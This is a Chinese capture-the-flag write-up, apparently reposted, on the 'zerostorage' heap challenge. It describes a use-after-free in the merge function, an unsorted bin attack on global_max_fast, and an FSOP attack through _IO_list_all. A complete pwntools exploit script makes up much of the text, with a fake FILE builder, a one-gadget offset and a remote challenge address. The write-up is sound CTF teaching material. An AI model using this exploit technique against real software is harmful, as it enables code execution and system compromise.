内容简介:这题是在做为什么说是新解,指的是在改写
前言
这题是在做 global_max_fast 相关利用总结的时候做的,解法仍然使用了隐藏的uaf以及 unsorted bin attack 。
为什么说是新解,指的是在改写 global_max_fast 后续的利用的过程与已有的解法存在一定的区别。现有的解法是基于老版本的 linux 内核,在泄露出libc的基址以及堆地址后,通过偏移计算得到程序的基址,然后在bss段上构造堆块实现利用。
目前的随机化程度已不支持这个方法,之前的方法已经无法成功利用,在经过分析之后,得到了新的解法,新解是基于只有libc地址以及堆地址对该题实现漏洞利用的方法。
下面详细描述过程。
题目描述
一道经典的菜单题,是一个管理 entry 的堆题,程序提供了七个选项,分别是:
1. Insert 2. Update 3. Merge 4. Delete 5. View 6. List 7. Exit
程序使用了一个全局数组来存储 entry 的管理结构体,每个 entry 管理结构题定义如下:
struct entry_struct
{
int64 flag;
int64 size;
char *protect_ptr;
}
其中 flag 表示该entry是否有效, size 表示entry大小, protect_ptr 是申请出来的堆块与一个随机数的异或值以保护指针。
insert 函数的作用是申请堆块,堆块的大小必须为0x80到0x1000之间,但是如果输入的size小于0x80的话,申请出来的堆块位0x80大小,但是最终结构体中的size为输入的大小。
update 函数的作用是更新entry,更新所输入的size大小也需为0x80到0x1000之间,如果update的size与之前的size不一致的话会调用 realloc 重新分配堆块。
merge 函数的作用是合并entry,给定一个 from id 以及一个 to id ,将 from id 的内容使用 realloc 函数合并至 to id 中并形成一个新的entry,同时将 from id 以及 to id 所对应的entry给删掉。
delete 函数的作用是删除entry,给定一个 id 将其entry所对应的堆块释放掉,同时将 flag 置0。
view 函数的作用是输出entry内容,给定义个有效 id ,打印处该entry中的内容。
list 以及 exit 没怎么用到,也没啥用。
漏洞信息
题目的漏洞在 merge 函数中,漏洞的成因在 from id 以及 to id 没有进行检查,可以为同一个,导致出现了意外情况。
如果 from id 以及 to id 为同一个的话(即 from id 以及 to id entry所对应的堆块为同一块),且他们的size相加如果不超过0x80(wp中我的是等于0x80),程序在 merge 时不会触发realloc去分配新的堆块,仍然使用 to id 对应的堆块直接作为新的entry,但是后续却将 from id 对应的堆块 free 掉,此时就形成了uaf漏洞,我们可以使用 merge 后形成的新的id来操作该被free的堆块。
漏洞利用
就是这么一个uaf,如何利用呢?
首先第一步,自然想的是如何信息泄露,很多时候只有泄露了地址才能够进行后续的利用。利用这个 merge 函数中的uaf,可以很容易就泄露出libc地址和heap地址。因为申请的是smallbin大小的堆块,释放后都会被放进unsorted bin里面形成双链表。想要泄露出libc地址和heap地址,只需要先利用 uaf 将堆块A释放到unsorted里面,再释放一个堆块B到unsoted bin里面,此时利用view A块所对应的entry就可以得到B的地址以及main arena的地址。
泄露地址后,要解决的事该如何实现后续利用。已经知道堆块是被释放进unsorted bin中且可以修改,因此可以实施 unsorted bin attack , unsorted bin attack 可以向任意地址写main arena的地址,去修改 global_max_fast 是一个不错的选择,将该变量修改后,我们就可以把堆块当成fastbin来使用,绕过了它不能分配fastbin的限制。
在修改完成后 global_max_fast 如何进一步得到shell。原有的wp的解法是:在老版本的linux内核中,可以在泄露出libc的基地址后,通过偏移得到程序的基地址。在得到程序的基地址后可以在bss段上伪造一个堆块,同时利用uaf修改释放后的fd,使其指向bss段中的堆块,最后申请将堆块申请出来,泄露出地址并计算出用于异或的随机值,实现修改entry指针的达到任意写的目的,最终getshell。
但是在现有的版本中,无法通过libc地址得到程序的基址,该如何进一步利用拿到shell?接下来就是标题中 新解 所包含的部分了:据之前写的文章 堆中global_max_fast相关利用 ,我们可以将目标瞄准为将 global_max_fast 改写后,复写 _IO_list_all 指针用io file来进行攻击。
但是 _IO_list_all 指针地址到 main_arena 中 fastbin 数组的地址的距离转换成对应的堆的size达到了 0x1410 ,题目中限制了堆申请的大小只能为 0x80 到 0x1000 ,所以似乎无法控制 0x1410 大小的堆块。
在把程序再次审查以后,发现解决方法还是在 merge 函数中, merge 函数把两个entry合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过 0x1000 ,最终达到任意堆块大小申请的目的。
这样问题就简单了, merge 出相应大小的堆块并将其内容填写成伪造的io file结构体,free该堆块至 _IO_list_all 指针中,最终触发FSOP来get shell。
漏洞利用exp
完整exp如下:
from pwn_debug.pwn_debug import *
pdbg=pwn_debug("zerostorage")
pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.23")
pdbg.remote('34.92.37.22', 10002)
#p=pdbg.run("local")
#p=pdbg.run("debug")
p=pdbg.run("debug")
membp=pdbg.membp
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=pdbg.libc
def insert(size,data):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("entry: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.send(data)
def update(idx,size,data):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("ID: ")
p.sendline(str(idx))
p.recvuntil("entry: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.send(data)
def merge(from_idx,to_idx):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("ID: ")
p.sendline(str(from_idx))
p.recvuntil("ID: ")
p.sendline(str(to_idx))
def delete(idx):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("ID: ")
p.sendline(str(idx))
def view(idx,):
p.recvuntil("choice: ")
p.sendline("5")
p.recvuntil("ID: ")
p.sendline(str(idx))
def list():
p.recvuntil("choice: ")
p.sendline("6")
def build_fake_file(addr,vtable):
flag=0xfbad2887
#flag&=~4
#flag|=0x800
fake_file=p64(flag) #_flags
fake_file+=p64(addr) #_IO_read_ptr
fake_file+=p64(addr) #_IO_read_end
fake_file+=p64(addr) #_IO_read_base
fake_file+=p64(addr) #_IO_write_base
fake_file+=p64(addr+1) #_IO_write_ptr
fake_file+=p64(addr) #_IO_write_end
fake_file+=p64(addr) #_IO_buf_base
fake_file+=p64(0) #_IO_buf_end
fake_file+=p64(0) #_IO_save_base
fake_file+=p64(0) #_IO_backup_base
fake_file+=p64(0) #_IO_save_end
fake_file+=p64(0) #_markers
fake_file+=p64(0) #chain could be a anathor file struct
fake_file+=p32(1) #_fileno
fake_file+=p32(0) #_flags2
fake_file+=p64(0xffffffffffffffff) #_old_offset
fake_file+=p16(0) #_cur_column
fake_file+=p8(0) #_vtable_offset
fake_file+=p8(0x10) #_shortbuf
fake_file+=p32(0)
fake_file+=p64(0) #_lock
fake_file+=p64(0xffffffffffffffff) #_offset
fake_file+=p64(0) #_codecvt
fake_file+=p64(0) #_wide_data
fake_file+=p64(0) #_freeres_list
fake_file+=p64(0) #_freeres_buf
fake_file+=p64(0) #__pad5
fake_file+=p32(0xffffffff) #_mode
fake_file+=p32(0) #unused2
fake_file+=p64(0)*2 #unused2
fake_file+=p64(vtable) #vtable
return fake_file
def pwn():
#pdbg.bp([0x13ea,0x148a])
insert(0x40,'a'*0x40) #0
insert(0x40,'b'*0x40) #1
insert(0x40,'c'*0x40) #2
insert(0x40,'d'*0x40) #3
insert(0x40,'e'*0x40) #4
insert(0x1000-0x10,'f'*(0x1000-0x10)) #5
insert(0x400,'f'*0x400) #6
insert(0x400,'f'*0x400) #7
insert(0x40, 'f'*0x40) #8
insert(0x60,'f'*0x60) #9
#merge(0,0)
#pdbg.bp([0x13ea])
delete(6)
merge(7,5) #6
#pdbg.bp()
insert(0x400,'a'*0x400) #5
merge(0,0) # 7
merge(2,2) # 0
## step 1 leak libc address and heap address
#pdbg.bp([0x120c,0x1052])
view(7)
p.recvuntil(":n")
unsorted_addr=u64(p.recv(8))
libc_base=unsorted_addr-libc.symbols['main_arena']-88
heap_base=u64(p.recv(8))-0x120
#pdbg.bp([0x120c,0x123f,0x1052])
log.info("leak libc base: %s"%hex(libc_base))
log.info("leak heap base: %s"%hex(heap_base))
global_max_fast=libc_base+libc.symbols['global_max_fast']
io_stderr=libc_base+libc.symbols['_IO_2_1_stderr_']
rce=libc_base+0xd5c07
#pdbg.bp([0x1216,0x13ea])
heap_addr=heap_base+0x1b90
fake_file=build_fake_file(io_stderr,heap_addr)
## step 2 build a fake file
update(6,0x1000-0x10,fake_file[0x10:].ljust(0x1000-0x10,'f'))
## step 3 form a 0x1410 big chunk with merge funcion
merge(5,6)
## step 4 unsorted bin attack to overwrite global_max_fast
update(7,0x10,p64(unsorted_addr)+p64(global_max_fast-0x10))
insert(0x40,'a'*0x40)
#pdbg.bp([0x123f,0x15ce])
update(9,0x60,p64(0)*2+p64(rce)*(0x50/8))
#pdbg.bp(0x15ce)
## step 5 overwrite _IO_list_all
delete(2)
## step 6 trigger io flush to get shell
p.recvuntil(":")
p.sendline('1')
p.recvuntil(":")
p.sendline("100")
p.interactive() #get the shell
if __name__ == '__main__':
pwn()
小结
不禁感叹:神奇的堆以及io大法好。相关文件和脚本在我的 github
参考链接
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
信息论、推理与学习算法
麦凯 / 高等教育出版社 / 2006-7 / 59.00元
本书是英国剑桥大学卡文迪许实验室的著名学者David J.C.MacKay博士总结多年教学经验和科研成果,于2003年推出的一部力作。本书作者不仅透彻地论述了传统信息论的内容和最新编码算法,而且以高度的学科驾驭能力,匠心独具地在一个统一框架下讨论了贝叶斯数据建模、蒙特卡罗方法、聚类算法、神经网络等属于机器学习和推理领域的主题,从而很好地将诸多学科的技术内涵融会贯通。本书注重理论与实际的结合,内容组......一起来看看 《信息论、推理与学习算法》 这本书的介绍吧!